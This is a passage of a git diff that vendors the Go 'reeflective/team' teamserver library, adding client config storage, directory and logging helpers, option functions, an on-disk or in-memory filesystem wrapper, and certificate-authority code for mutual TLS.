+// SaveConfig saves a client config to disk.
+//
+// This uses the on-disk filesystem even if the teamclient is in memory mode.
+func (tc *Client) SaveConfig(config *Config) error {
+ if config.User == "" {
+ return ErrConfigNoUser
+ }
+
+ configDir := tc.ConfigsDir()
+
+ // If we are in-memory, still make the directory.
+ if _, err := os.Stat(configDir); os.IsNotExist(err) {
+ if err = os.MkdirAll(configDir, assets.DirPerm); err != nil {
+ return tc.errorf("%w: %w", ErrConfig, err)
+ }
+ }
+
+ filename := fmt.Sprintf("%s_%s.%s", filepath.Base(config.User), filepath.Base(config.Host), command.ClientConfigExt)
+ saveTo, _ := filepath.Abs(filepath.Join(configDir, filename))
+
+ configJSON, err := json.Marshal(config)
+ if err != nil {
+ return fmt.Errorf("%w: %w", ErrConfig, err)
+ }
+
+ err = os.WriteFile(saveTo, configJSON, fileWriteModePerm)
+ if err != nil {
+ return tc.errorf("Failed to write config to: %s (%w)", saveTo, err)
+ }
+
+ tc.log().Infof("Saved new client config to: %s", saveTo)
+
+ return nil
+}
+
+// SelectConfig either returns the only configuration found in the app
+// client remote configs directory, or prompts the user to select one.
+// This call might thus be blocking, and expect user input.
+//
+// This uses the on-disk filesystem even if the teamclient is in memory mode.
+func (tc *Client) SelectConfig() *Config {
+ configs := tc.GetConfigs()
+
+ if len(configs) == 0 {
+ return nil
+ }
+
+ if len(configs) == 1 {
+ for _, config := range configs {
+ return config
+ }
+ }
+
+ answer := struct{ Config string }{}
+ qs := getPromptForConfigs(configs)
+
+ err := survey.Ask(qs, &answer)
+ if err != nil {
+ tc.log().Errorf("config prompt failed: %s", err)
+ return nil
+ }
+
+ return configs[answer.Config]
+}
+
+// Config returns the currently used teamclient server configuration.
+// This configuration might be empty (not nil), if no specific server
+// configuration was loaded by the client yet.
+func (tc *Client) Config() *Config {
+ return tc.opts.config
+}
+
+// NewTLSConfigFrom generates a working client TLS configuration prepared for Mutual TLS.
+// It requires the three credential materials presents in any user remote teamserver config.
+func (tc *Client) NewTLSConfigFrom(caCert string, cert string, key string) (*tls.Config, error) {
+ certPEM, err := tls.X509KeyPair([]byte(cert), []byte(key))
+ if err != nil {
+ return nil, fmt.Errorf("Cannot parse client certificate: %w", err)
+ }
+
+ // Load CA cert
+ caCertPool := x509.NewCertPool()
+ caCertPool.AppendCertsFromPEM([]byte(caCert))
+
+ // Setup config with custom certificate validation routine
+ tlsConfig := &tls.Config{
+ Certificates: []tls.Certificate{certPEM},
+ RootCAs: caCertPool,
+ InsecureSkipVerify: true, // Don't worry I sorta know what I'm doing
+ VerifyPeerCertificate: func(rawCerts [][]byte, _ [][]*x509.Certificate) error {
+ return certs.RootOnlyVerifyCertificate(caCert, rawCerts)
+ },
+ }
+
+ return tlsConfig, nil
+}
+
+func getPromptForConfigs(configs map[string]*Config) []*survey.Question {
+ keys := []string{}
+ for k := range configs {
+ keys = append(keys, k)
+ }
+
+ sort.Strings(keys)
+
+ return []*survey.Question{
+ {
+ Name: "config",
+ Prompt: &survey.Select{
+ Message: "Select a server:",
+ Options: keys,
+ Default: keys[0],
+ },
+ },
+ }
+}
diff --git a/vendor/github.com/reeflective/team/client/directories.go b/vendor/github.com/reeflective/team/client/directories.go
new file mode 100644
index 0000000000..8833282f70
--- /dev/null
+++ b/vendor/github.com/reeflective/team/client/directories.go
@@ -0,0 +1,95 @@
+package client
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "os/user"
+ "path/filepath"
+
+ "github.com/reeflective/team/internal/assets"
+)
+
+// HomeDir returns the root application directory (~/.app/ by default).
+// This directory can be set with the environment variable _ROOT_DIR.
+// This directory is not to be confused with the ~/.app/teamclient directory
+// returned by the client.TeamDir(), which is specific to the app teamclient.
+func (tc *Client) HomeDir() string {
+ var dir string
+
+ // Note: very important not to combine the nested if here.
+ if !tc.opts.inMemory {
+ if tc.homeDir == "" {
+ user, _ := user.Current()
+ dir = filepath.Join(user.HomeDir, "."+tc.name)
+ } else {
+ dir = tc.homeDir
+ }
+ } else {
+ dir = "." + tc.name
+ }
+
+ err := tc.fs.MkdirAll(dir, assets.DirPerm)
+ if err != nil {
+ tc.log().Errorf("cannot write to %s root dir: %s", dir, err)
+ }
+
+ return dir
+}
+
+// TeamDir returns the teamclient directory of the app (named ~/./teamclient/),
+// creating the directory if needed, or logging an error event if failing to create it.
+// This directory is used to store teamclient logs and remote server configs.
+func (tc *Client) TeamDir() string {
+ dir := filepath.Join(tc.HomeDir(), tc.opts.teamDir)
+
+ err := tc.fs.MkdirAll(dir, assets.DirPerm)
+ if err != nil {
+ tc.log().Errorf("cannot write to %s root dir: %s", dir, err)
+ }
+
+ return dir
+}
+
+// LogsDir returns the directory of the teamclient logs (~/.app/logs), creating
+// the directory if needed, or logging a fatal event if failing to create it.
+func (tc *Client) LogsDir() string {
+ logsDir := filepath.Join(tc.TeamDir(), assets.DirLogs)
+
+ err := tc.fs.MkdirAll(logsDir, assets.DirPerm)
+ if err != nil {
+ tc.log().Errorf("cannot write to %s root dir: %s", logsDir, err)
+ }
+
+ return logsDir
+}
+
+// ConfigsDir returns the path to the remote teamserver configs directory
+// for this application (~/.app/teamclient/configs), creating the directory
+// if needed, or logging a fatal event if failing to create it.
+func (tc *Client) ConfigsDir() string {
+ rootDir, _ := filepath.Abs(tc.TeamDir())
+ dir := filepath.Join(rootDir, assets.DirConfigs)
+
+ err := tc.fs.MkdirAll(dir, assets.DirPerm)
+ if err != nil {
+ tc.log().Errorf("cannot write to %s configs dir: %s", dir, err)
+ }
+
+ return dir
+}
diff --git a/vendor/github.com/reeflective/team/client/errors.go b/vendor/github.com/reeflective/team/client/errors.go
new file mode 100644
index 0000000000..d4ccd8f553
--- /dev/null
+++ b/vendor/github.com/reeflective/team/client/errors.go
@@ -0,0 +1,43 @@
+package client
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import "errors"
+
+var (
+ // ErrNoTeamclient indicates that the client cannot remotely query a server
+ // to get its version or user information, because there is no client RPC
+ // to do it. Make sure that your team/client.Client has been given one.
+ ErrNoTeamclient = errors.New("this teamclient has no client implementation")
+
+ // ErrConfig is an error related to the teamclient connection configuration.
+ ErrConfig = errors.New("client config error")
+
+ // ErrNoConfig indicates that no configuration, default or on file system, was found.
+ ErrNoConfig = errors.New("no client configuration was selected or parsed")
+
+ // ErrConfigNoUser says that the configuration has no user,
+ // which is not possible even if the client is an in-memory one.
+ ErrConfigNoUser = errors.New("client config with empty user")
+
+ // ErrClient indicates an error raised by the client when igniting or connecting.
+ // Most errors are raised by the underlying transport stack, which can be user-specific,
+ // so users of this library should unwrap ErrClient errors to check against their owns.
+ ErrClient = errors.New("teamclient dialer")
+)
diff --git a/vendor/github.com/reeflective/team/client/log.go b/vendor/github.com/reeflective/team/client/log.go
new file mode 100644
index 0000000000..ed602c227e
--- /dev/null
+++ b/vendor/github.com/reeflective/team/client/log.go
@@ -0,0 +1,114 @@
+package client
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "fmt"
+ "io"
+ "path/filepath"
+
+ "github.com/reeflective/team/internal/log"
+ "github.com/sirupsen/logrus"
+)
+
+// NamedLogger returns a new logging "thread" with two fields (optional)
+// to indicate the package/general domain, and a more precise flow/stream.
+// The events are logged according to the teamclient logging backend setup.
+func (tc *Client) NamedLogger(pkg, stream string) *logrus.Entry {
+ return tc.log().WithFields(logrus.Fields{
+ log.PackageFieldKey: pkg,
+ "stream": stream,
+ })
+}
+
+// SetLogWriter sets the stream to which the stdio logger (not the file logger)
+// should write to. This option is used by the teamclient cobra command tree to
+// synchronize its basic I/O/err with the teamclient backend.
+func (tc *Client) SetLogWriter(stdout, stderr io.Writer) {
+ tc.stdoutLogger.Out = stdout
+ // TODO: Pass stderr to log internals.
+}
+
+// SetLogLevel sets the logging level of all teamclient loggers.
+func (tc *Client) SetLogLevel(level int) {
+ if tc.stdoutLogger == nil {
+ return
+ }
+
+ if uint32(level) > uint32(logrus.TraceLevel) {
+ level = int(logrus.TraceLevel)
+ }
+
+ tc.stdoutLogger.SetLevel(logrus.Level(uint32(level)))
+
+ if tc.fileLogger != nil {
+ tc.fileLogger.SetLevel(logrus.Level(uint32(level)))
+ }
+}
+
+// log returns a non-nil logger for the client:
+// if file logging is disabled, it returns the stdout-only logger,
+// otherwise returns the file logger equipped with a stdout hook.
+func (tc *Client) log() *logrus.Logger {
+ if tc.fileLogger != nil {
+ return tc.fileLogger
+ }
+
+ if tc.stdoutLogger == nil {
+ tc.stdoutLogger = log.NewStdio(logrus.WarnLevel)
+ }
+
+ return tc.stdoutLogger
+}
+
+func (tc *Client) errorf(msg string, format ...any) error {
+ logged := fmt.Errorf(msg, format...)
+ tc.log().Error(logged)
+
+ return logged
+}
+
+func (tc *Client) initLogging() (err error) {
+ // By default, the stdout logger is never nil.
+ // We might overwrite it below if using our defaults.
+ tc.stdoutLogger = log.NewStdio(logrus.WarnLevel)
+
+ // Path to our client log file, and open it (in mem or on disk)
+ logFile := filepath.Join(tc.LogsDir(), log.FileName(tc.Name(), false))
+
+ // If the teamclient should log to a predefined file.
+ if tc.opts.logFile != "" {
+ logFile = tc.opts.logFile
+ }
+
+ // If user supplied a logger, use it in place of the
+ // file-based logger, since the file logger is optional.
+ if tc.opts.logger != nil {
+ tc.fileLogger = tc.opts.logger
+ return nil
+ }
+
+ // Create the loggers writing to this file, and hooked to write to stdout as well.
+ tc.fileLogger, tc.stdoutLogger, err = log.Init(tc.fs, logFile, logrus.InfoLevel)
+ if err != nil {
+ return err
+ }
+
+ return nil
+}
diff --git a/vendor/github.com/reeflective/team/client/options.go b/vendor/github.com/reeflective/team/client/options.go
new file mode 100644
index 0000000000..9a321e0d8e
--- /dev/null
+++ b/vendor/github.com/reeflective/team/client/options.go
@@ -0,0 +1,216 @@
+package client
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "fmt"
+ "io"
+ "os"
+ "strings"
+
+ "github.com/reeflective/team/internal/assets"
+ "github.com/sirupsen/logrus"
+)
+
+const noTeamdir = "no team subdirectory"
+
+// Options are client options.
+// You can set or modify the behavior of a teamclient at various
+// steps with these options, which are a variadic parameter of
+// several client.Client methods.
+// Note that some options can only be used once, while others can be
+// used multiple times. Examples of the former are log files, while
+// the latter includes dialers/hooks.
+// Each option will specify this in its description.
+type Options func(opts *opts)
+
+type opts struct {
+ homeDir string
+ teamDir string
+ noLogs bool
+ logFile string
+ inMemory bool
+ console bool
+ stdout io.Writer
+ config *Config
+ logger *logrus.Logger
+ dialer Dialer
+}
+
+func defaultOpts() *opts {
+ return &opts{
+ config: &Config{},
+ }
+}
+
+func (tc *Client) apply(options ...Options) {
+ for _, optFunc := range options {
+ optFunc(tc.opts)
+ }
+
+ // The server will apply options multiple times
+ // in its lifetime, but some options can only be
+ // set once when created.
+ tc.initOpts.Do(func() {
+ // Application home directory.
+ homeDir := os.Getenv(fmt.Sprintf("%s_ROOT_DIR", strings.ToUpper(tc.name)))
+ if homeDir != "" {
+ tc.homeDir = homeDir
+ } else {
+ tc.homeDir = tc.opts.homeDir
+ }
+ })
+
+ if tc.opts.dialer != nil {
+ tc.dialer = tc.opts.dialer
+ }
+
+ // Team directory.
+ if tc.opts.teamDir == noTeamdir {
+ tc.opts.teamDir = ""
+ } else if tc.opts.teamDir == "" {
+ tc.opts.teamDir = assets.DirClient
+ }
+
+ if tc.opts.stdout != nil {
+ tc.stdoutLogger.Out = tc.opts.stdout
+ }
+}
+
+//
+// *** General options ***
+//
+
+// WithInMemory deactivates all interactions of the client with the on-disk filesystem.
+// This will in effect use in-memory files for all file-based logging and database data.
+// This might be useful for testing, or if you happen to embed a teamclient in a program
+// without the intent of using it now, etc.
+//
+// This option can only be used once, and should be passed client.New().
+func WithInMemory() Options {
+ return func(opts *opts) {
+ opts.noLogs = true
+ opts.inMemory = true
+ }
+}
+
+// WithConfig sets the client to use a given remote teamserver configuration which
+// to connect to, instead of using default on-disk user/application configurations.
+// This function will be very useful to library users who wish to implement specific
+// remote teamserver selection & connection strategies, depending on the domains and
+// and use cases of these tools.
+func WithConfig(config *Config) Options {
+ return func(opts *opts) {
+ opts.config = config
+ }
+}
+
+// WithHomeDirectory sets the default path (~/.app/) of the application directory.
+// This path can still be overridden at the user-level with the env var APP_ROOT_DIR.
+//
+// This option can only be used once, and must be passed client.New().
+func WithHomeDirectory(path string) Options {
+ return func(opts *opts) {
+ opts.homeDir = path
+ }
+}
+
+// WithTeamDirectory sets the name (not a path) of the teamclient-specific subdirectory.
+// For example, passing "my_team_dir" will make the teamclient use ~/.app/my_team_dir/
+// instead of ~/.app/teamclient/.
+// If this function is called with an empty string, the teamclient will not use any
+// subdirectory for its own outputs, thus using ~/.app as its teamclient directory.
+//
+// This option can only be used once, and should be passed client.New().
+func WithTeamDirectory(name string) Options {
+ return func(opts *opts) {
+ if name == "" {
+ name = noTeamdir
+ }
+
+ opts.teamDir = name
+ }
+}
+
+//
+// *** Logging options ***
+//
+
+// WithNoLogs deactivates all logging normally done by the teamclient
+// if noLogs is set to true, or keeps/reestablishes them if false.
+//
+// This option can only be used once, and should be passed client.New().
+func WithNoLogs(noLogs bool) Options {
+ return func(opts *opts) {
+ opts.noLogs = noLogs
+ }
+}
+
+// WithLogFile sets the path to the file where teamclient logging should be done.
+// If not specified, the client log file is ~/.app/teamclient/logs/app.teamclient.log.
+//
+// This option can only be used once, and should be passed client.New().
+func WithLogFile(filePath string) Options {
+ return func(opts *opts) {
+ opts.logFile = filePath
+ }
+}
+
+// WithLogger sets the teamclient to use a specific logger for logging.
+//
+// This option can only be used once, and should be passed client.New().
+func WithLogger(logger *logrus.Logger) Options {
+ return func(opts *opts) {
+ opts.logger = logger
+ }
+}
+
+//
+// *** Client network/RPC options ***
+//
+
+// WithDialer sets a custom dialer to connect to the teamserver.
+// See the Dialer type documentation for implementation/usage details.
+//
+// It accepts an optional list of hooks to run on the generic clientConn
+// returned by the client.Dialer Dial() method (see Dialer doc for details).
+// This client object can be pretty much any client-side conn/RPC object.
+// You will have to typecast this conn in your hooks, casting it to the type
+// that your teamclient Dialer.Dial() method returns.
+//
+// This option can be used multiple times, either when using
+// team/client.New() or when using the teamclient.Connect() method.
+func WithDialer(dialer Dialer) Options {
+ return func(opts *opts) {
+ opts.dialer = dialer
+ }
+}
+
+// WithNoDisconnect is meant to be used when the teamclient commands are used
+// in a closed-loop (readline-style) application, where the connection is used
+// more than once in the lifetime of the Go program.
+// If this is the case, this option will ensure that any cobra client command
+// runners produced by this library will not disconnect after each execution.
+//
+// This option can only be used once, and should be passed client.New().
+func WithNoDisconnect() Options {
+ return func(opts *opts) {
+ opts.console = true
+ }
+}
diff --git a/vendor/github.com/reeflective/team/internal/assets/fs.go b/vendor/github.com/reeflective/team/internal/assets/fs.go
new file mode 100644
index 0000000000..8fec1db2ce
--- /dev/null
+++ b/vendor/github.com/reeflective/team/internal/assets/fs.go
@@ -0,0 +1,211 @@
+package assets
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "io/fs"
+ "os"
+ "path/filepath"
+ "strings"
+
+ "github.com/psanford/memfs"
+)
+
+const (
+ // FileReadPerm is the permission bit given to the OS when reading files.
+ FileReadPerm = 0o600
+ // DirPerm is the permission bit given to teamserver/client directories.
+ DirPerm = 0o700
+ // FileWritePerm is the permission bit given to the OS when writing files.
+ FileWritePerm = 0o644
+
+ // FileWriteOpenMode is used when opening log files in append/create/write-only mode.
+ FileWriteOpenMode = os.O_APPEND | os.O_CREATE | os.O_WRONLY
+)
+
+const (
+ // Teamclient.
+
+ // DirClient is the name of the teamclient subdirectory.
+ DirClient = "teamclient"
+ // DirLogs subdirectory name.
+ DirLogs = "logs"
+ // DirConfigs subdirectory name.
+ DirConfigs = "configs"
+
+ // Teamserver.
+
+ // DirServer is the name of the teamserver subdirectory.
+ DirServer = "teamserver"
+ // DirCerts subdirectory name.
+ DirCerts = "certs"
+)
+
+// FS is a filesystem abstraction for teamservers and teamclients.
+// When either of them are configured to run in memory only, this
+// filesystem is initialized accordingly, otherwise it will forward
+// its calls to the on-disk filesystem.
+//
+// This type currently exists because the stdlib io/fs.FS type is read-only,
+// and that in order to provide a unique abstraction to the teamclient/server
+// filesystems, this filesystem type adds writing methods.
+type FS struct {
+ mem *memfs.FS
+ root string
+}
+
+// NewFileSystem returns a new filesystem configured to run on disk or in-memory.
+func NewFileSystem(root string, inMemory bool) *FS {
+ filesystem := &FS{
+ root: root,
+ }
+
+ if inMemory {
+ filesystem.mem = memfs.New()
+ }
+
+ return filesystem
+}
+
+// MkdirAll creates a directory named path, along with any necessary parents,
+// and returns nil, or else returns an error.
+// The permission bits perm (before umask) are used for all directories that MkdirAll creates.
+// If path is already a directory, MkdirAll does nothing and returns nil.
+//
+// If the filesystem is in-memory, the teamclient/server application root
+// is trimmed from this path, if the latter contains it.
+func (f *FS) MkdirAll(path string, perm fs.FileMode) error {
+ if f.mem == nil {
+ return os.MkdirAll(path, perm)
+ }
+
+ path = strings.TrimPrefix(path, f.root)
+
+ return f.mem.MkdirAll(path, perm)
+}
+
+// Sub returns a file system (an fs.FS) for the tree of files rooted at the directory dir,
+// or an error if it failed. When the teamclient fs is on disk, os.Stat() and os.DirFS() are used.
+//
+// If the filesystem is in-memory, the teamclient/server application root
+// is trimmed from this path, if the latter contains it.
+func (f *FS) Sub(path string) (fs fs.FS, err error) {
+ if f.mem == nil {
+ _, err = os.Stat(path)
+
+ return os.DirFS(path), err
+ }
+
+ path = strings.TrimPrefix(path, f.root)
+
+ return f.mem.Sub(path)
+}
+
+// Open is like fs.Open().
+//
+// If the filesystem is in-memory, the teamclient/server application root
+// is trimmed from this path, if the latter contains it.
+func (f *FS) Open(name string) (fs.File, error) {
+ if f.mem == nil {
+ return os.Open(name)
+ }
+
+ name = strings.TrimPrefix(name, f.root)
+
+ return f.mem.Open(name)
+}
+
+// OpenFile is like os.OpenFile(), but returns a custom *File type implementing
+// the io.WriteCloser interface, so that it can be written to and closed more easily.
+func (f *FS) OpenFile(name string, flag int, perm fs.FileMode) (*File, error) {
+ inFile := &File{
+ name: name,
+ }
+
+ if f.mem != nil {
+ inFile.mem = f.mem
+
+ return inFile, nil
+ }
+
+ file, err := os.OpenFile(name, flag, perm)
+ if err != nil {
+ return nil, err
+ }
+
+ inFile.file = file
+
+ return inFile, nil
+}
+
+// WriteFile is like os.WriteFile().
+func (f *FS) WriteFile(path string, data []byte, perm fs.FileMode) error {
+ if f.mem == nil {
+ return os.WriteFile(path, data, perm)
+ }
+
+ path = strings.TrimPrefix(path, f.root)
+
+ return f.mem.WriteFile(path, data, perm)
+}
+
+// ReadFile is like os.ReadFile().
+func (f *FS) ReadFile(path string) (b []byte, err error) {
+ if f.mem == nil {
+ return os.ReadFile(path)
+ }
+
+ _, err = f.mem.Open(path)
+ if err != nil {
+ return
+ }
+
+ return fs.ReadFile(f.mem, path)
+}
+
+// File wraps the *os.File type with some in-memory helpers,
+// so that we can write/read to teamserver application files
+// regardless of where they are.
+// This should disappear if a Write() method set is added to the io/fs package.
+type File struct {
+ name string
+ file *os.File
+ mem *memfs.FS
+}
+
+// Write implements the io.Writer interface by writing data either
+// to the file on disk, or to an in-memory file.
+func (f *File) Write(data []byte) (written int, err error) {
+ if f.file != nil {
+ return f.file.Write(data)
+ }
+
+ fileName := filepath.Base(f.name)
+
+ return len(data), f.mem.WriteFile(fileName, data, FileWritePerm)
+}
+
+// Close implements io.Closer by closing the file on the filesystem.
+func (f *File) Close() error {
+ if f.file != nil {
+ return f.file.Close()
+ }
+
+ return nil
+}
diff --git a/server/certs/README.md b/vendor/github.com/reeflective/team/internal/certs/README.md
similarity index 100%
rename from server/certs/README.md
rename to vendor/github.com/reeflective/team/internal/certs/README.md
diff --git a/vendor/github.com/reeflective/team/internal/certs/ca.go b/vendor/github.com/reeflective/team/internal/certs/ca.go
new file mode 100644
index 0000000000..7a0073866d
--- /dev/null
+++ b/vendor/github.com/reeflective/team/internal/certs/ca.go
@@ -0,0 +1,149 @@
+package certs
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "crypto/ecdsa"
+ "crypto/x509"
+ "encoding/pem"
+ "fmt"
+ "os"
+ "path/filepath"
+
+ "github.com/reeflective/team/internal/assets"
+)
+
+// -----------------------
+// CERTIFICATE AUTHORITY
+// -----------------------
+
+const (
+ certFileExt = "teamserver.pem"
+)
+
+// GetUsersCA returns the certificate authority for teamserver users.
+func (c *Manager) GetUsersCA() (*x509.Certificate, *ecdsa.PrivateKey, error) {
+ return c.getCA(userCA)
+}
+
+// GetUsersCAPEM returns the certificate authority for teamserver users, PEM-encoded.
+func (c *Manager) GetUsersCAPEM() ([]byte, []byte, error) {
+ return c.getCAPEM(userCA)
+}
+
+// SaveUsersCA saves a user certificate authority (may contain several users).
+func (c *Manager) SaveUsersCA(cert, key []byte) {
+ c.saveCA(userCA, cert, key)
+}
+
+// generateCA - Creates a new CA cert for a given type, or die trying.
+func (c *Manager) generateCA(caType string, commonName string) (*x509.Certificate, *ecdsa.PrivateKey) {
+ storageDir := c.getCertDir()
+
+ certFilePath := filepath.Join(storageDir, fmt.Sprintf("%s_%s-ca-cert.%s", c.appName, caType, certFileExt))
+ if _, err := os.Stat(certFilePath); os.IsNotExist(err) {
+ c.log.Infof("Generating certificate authority for '%s'", caType)
+ cert, key := c.GenerateECCCertificate(caType, commonName, true, false)
+ c.saveCA(caType, cert, key)
+ }
+
+ cert, key, err := c.getCA(caType)
+ if err != nil {
+ c.log.Fatalf("Failed to load CA: %s", err)
+ }
+
+ return cert, key
+}
+
+// getCA - Get the current CA certificate.
+func (c *Manager) getCA(caType string) (*x509.Certificate, *ecdsa.PrivateKey, error) {
+ certPEM, keyPEM, err := c.getCAPEM(caType)
+ if err != nil {
+ return nil, nil, err
+ }
+
+ certBlock, _ := pem.Decode(certPEM)
+ if certBlock == nil {
+ c.log.Error("Failed to parse certificate PEM")
+ return nil, nil, err
+ }
+
+ cert, err := x509.ParseCertificate(certBlock.Bytes)
+ if err != nil {
+ c.log.Error("Failed to parse certificate: " + err.Error())
+ return nil, nil, err
+ }
+
+ keyBlock, _ := pem.Decode(keyPEM)
+ if keyBlock == nil {
+ c.log.Error("Failed to parse certificate PEM")
+ return nil, nil, err
+ }
+
+ key, err := x509.ParseECPrivateKey(keyBlock.Bytes)
+ if err != nil {
+ c.log.Error(err)
+ return nil, nil, err
+ }
+
+ return cert, key, nil
+}
+
+// getCAPEM - Get PEM encoded CA cert/key.
+func (c *Manager) getCAPEM(caType string) ([]byte, []byte, error) {
+ caType = filepath.Base(caType)
+ caCertPath := filepath.Join(c.getCertDir(), fmt.Sprintf("%s_%s-ca-cert.%s", c.appName, caType, certFileExt))
+ caKeyPath := filepath.Join(c.getCertDir(), fmt.Sprintf("%s_%s-ca-key.%s", c.appName, caType, certFileExt))
+
+ certPEM, err := c.fs.ReadFile(caCertPath)
+ if err != nil {
+ c.log.Error(err)
+ return nil, nil, err
+ }
+
+ keyPEM, err := c.fs.ReadFile(caKeyPath)
+ if err != nil {
+ c.log.Error(err)
+ return nil, nil, err
+ }
+
+ return certPEM, keyPEM, nil
+}
+
+// saveCA - Save the certificate and the key to the filesystem
+// doesn't return an error because errors are fatal. If we can't generate CAs,
+// then we can't secure communication and we should die a horrible death.
+func (c *Manager) saveCA(caType string, cert []byte, key []byte) {
+ storageDir := c.getCertDir()
+
+ // CAs get written to the filesystem since we control the names and makes them
+ // easier to move around/backup
+ certFilePath := filepath.Join(storageDir, fmt.Sprintf("%s_%s-ca-cert.%s", c.appName, caType, certFileExt))
+ keyFilePath := filepath.Join(storageDir, fmt.Sprintf("%s_%s-ca-key.%s", c.appName, caType, certFileExt))
+
+ err := c.fs.WriteFile(certFilePath, cert, assets.FileReadPerm)
+ if err != nil {
+ c.log.Fatalf("Failed write certificate data to %s, %s", certFilePath, err)
+ }
+
+ err = c.fs.WriteFile(keyFilePath, key, assets.FileReadPerm)
+ if err != nil {
+ c.log.Fatalf("Failed write certificate data to %s: %s", keyFilePath, err)
+ }
+}
diff --git a/vendor/github.com/reeflective/team/internal/certs/certs.go b/vendor/github.com/reeflective/team/internal/certs/certs.go
new file mode 100644
index 0000000000..d2377ea6ba
--- /dev/null
+++ b/vendor/github.com/reeflective/team/internal/certs/certs.go
@@ -0,0 +1,380 @@
+package certs
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "bytes"
+ "crypto/ecdsa"
+ "crypto/elliptic"
+ "crypto/rand"
+ "crypto/rsa"
+ "crypto/x509"
+ "crypto/x509/pkix"
+ "encoding/binary"
+ "encoding/pem"
+ "errors"
+ "fmt"
+ "math/big"
+ insecureRand "math/rand"
+ "net"
+ "path/filepath"
+ "time"
+
+ "github.com/reeflective/team/internal/assets"
+ "github.com/reeflective/team/internal/db"
+ "github.com/sirupsen/logrus"
+ "gorm.io/gorm"
+)
+
+const (
+ // ECCKey - Namespace for ECC keys.
+ ECCKey = "ecc"
+
+ // RSAKey - Namespace for RSA keys.
+ RSAKey = "rsa"
+
+ // Internal constants.
+ daysInYear = 365
+ hoursInDay = 24
+ validForYears = 3
+ serialNumberLen = 128
+)
+
+// ErrCertDoesNotExist - Returned if a GetCertificate() is called for a cert/cn that does not exist.
+var ErrCertDoesNotExist = errors.New("Certificate does not exist")
+
+// Manager is used to manage the certificate infrastructure for a given teamserver.
+// Has access to a given database for storage, a logger and an abstract filesystem.
+type Manager struct {
+ appName string
+ appDir string
+ log *logrus.Entry
+ database *gorm.DB
+ fs *assets.FS
+}
+
+// NewManager initializes and returns a certificate manager for a given teamserver.
+// The returned manager will have ensured that all certificate authorities are initialized
+// and working, or will create them if needed.
+// Any critical error happening at initialization time will send a log.Fatal event to the
+// provided logger. If the latter has no modified log.ExitFunc, this will make the server
+// panic and exit.
+func NewManager(filesystem *assets.FS, db *gorm.DB, logger *logrus.Entry, appName, appDir string) *Manager {
+ certs := &Manager{
+ appName: appName,
+ appDir: appDir,
+ log: logger,
+ database: db,
+ fs: filesystem,
+ }
+
+ certs.generateCA(userCA, "teamusers")
+
+ return certs
+}
+
+func (c *Manager) db() *gorm.DB {
+ return c.database.Session(&gorm.Session{
+ FullSaveAssociations: true,
+ })
+}
+
+// GetECCCertificate - Get an ECC certificate.
+func (c *Manager) GetECCCertificate(caType string, commonName string) ([]byte, []byte, error) {
